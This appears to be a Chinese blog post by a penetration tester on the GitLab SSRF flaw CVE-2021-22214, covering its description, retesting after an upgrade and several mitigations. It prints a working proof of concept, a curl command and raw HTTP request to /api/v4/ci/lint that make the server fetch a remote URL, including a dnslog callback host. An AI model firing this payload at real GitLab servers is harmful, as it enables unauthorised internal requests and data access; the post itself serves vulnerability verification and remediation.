• 生命在于研究——CVE-2021-22214记录


    在这里插入图片描述

    一、前言

    我现在在某央企驻场,渗透测试工程师,也负责漏洞管理平台,也就是监测、渗透测试出现的漏洞,都会录入平台,走流程整改复测办结。

    二、漏洞详情

    1、漏洞简介

    GitLab存在前台未授权SSRF漏洞,未授权的攻击者也可以利用该漏洞执行SSRF攻击(CVE-2021-22214)。该漏洞源于对用户提供数据的验证不足,远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。

    2、漏洞POC

    (1)命令行验证

    curl -s --show-error -H 'Content-Type: application/json' https://example.com/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:\n  remote: http://xx.xxx.xx.xx:port/api/v1/targets?test.yml"}'
    
    • 1

    (2)burp发送包

    POST /api/v4/ci/lint HTTP/1.1
    Host: 192.168.8.230:36586
    User-Agent: python-requests/2.25.0
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Content-Type: application/json
    Content-Length: 111
    
    {"include_merged_yaml": true, "content": "include:\n  remote: http://4ggwkl.dnslog.cn/api/v1/targets?test.yml"}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    这里可以使用dnslog测试是否有回显,也可以本机开启web服务,看是否有请求。

    3、修复建议(贼坑)

    看了好多地方,查阅了好多资料,只有短短几句话:

    影响范围 : 
    13.10.5 > GitLab >= 10.5
    13.11.5 > GitLab >= 13.11
    13.12.2 > GitLab >= 13.12
     当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:
    https://about.gitlab.com/releases/2021/06/01/security-release-gitlab-13-12-2-released/
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    三、寻找修复建议

    我们这边整改报告说已经将gitlab升级到了15.11.12
    在这里插入图片描述
    然后我对这个漏洞进行复测,使用poc去验证,结果发现漏洞依旧存在:
    在这里插入图片描述

    DNSlog也有回显。在这里插入图片描述
    这时候我就想起了Tomcat的漏洞:
    CVE-2020-8022,当时朋友说已经升级了,但还是可以扫描到漏洞:
    在这里插入图片描述
    我看了一下这个漏洞:
    在这里插入图片描述

    朋友反馈:
    在这里插入图片描述
    所以这里我就找啊,找啊,目光放到了这个接口上。
    查了好多地方,都只是单纯的说升级最新版本,只有在gitlab官方才有一个人提到后续高版本也存在该漏洞,但没有理会。
    我直接拉了一个靶场,研究研究。

    四、目前的解决方法

    1、关闭注册功能

    在官方文档中我看到以下信息:
    在这里插入图片描述
    也就是说,这个API是用来验证CI YAML配置的接口,如果开启注册功能,并且不存在允许和拒绝列表,不需要管理员批准才可以注册,没有其他注册限制,这个接口是不需要认证的,可以直接使用,然后使用include的remote远程包含来执行恶意命令。
    但我使用的靶场是13.11版本,和官方说明有所不同,不管我有没有注册限制,只要开启了注册功能,这个接口便会存在该漏洞,关闭注册功能,会显示401未认证,亲测有效。

    2、直接使该接口403

    请做以下操作,进入容器,编辑/etc/gitlab/gitlab.rb文件,里面的设置默认都是注释掉的,找到以下字段或者增加以下字段:nginx[‘custom_gitlab_server_config’] = “location ^~ /api/v4/ci/lint {\n deny all;\n}\n”。然后在终端输入gitlab-ctl reconfigure,该接口便会被禁止访问,亲测有效。

    3、直接白名单限制,这个在gitlab设置也可以,在waf设置也可以。

    加白名单的具体操作如下:

      cd /etc/gitlab
      vim /gitlab.rb
    加入以下字符:
    gitlab_rails['rack_attack_git_basic_auth'] = {
       'enabled' => true,
       'ip_whitelist' => ["127.0.0.1","IP地址"],
       'maxretry' => 300,
       'findtime' => 5,
       'bantime' => 60
     }
      gitlab-ctl reconfigure保存,gitlab-ctl restart重启
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    五、后记

    这个漏洞我并没有研究很透彻,但好歹可以积累一些知识,还是那句话,多看官方说明文档。

  • 相关阅读:
    【QT】续写文本存储到文件
    这个软件可无限制免费领取金币,领取后即可自由实现AI文生图,AI Chat及其AI文生PPT等AI功能
    SSM+老年人活动信息管理系统 毕业设计-附源码121730
    常见java本地缓存
    Ansible自动化运维工具(二)
    Spring Cloud 之 Feign 简介及简单使用
    render() 函数即渲染函数 转换器 converter JS函数用于获取url参数:
    RS232电平和TTL电平有什么不同
    简单聊一聊一种很新的DCDC电源-BOB电源
    Mysql---第八篇
  • 原文地址:https://blog.csdn.net/qq_15131581/article/details/133384705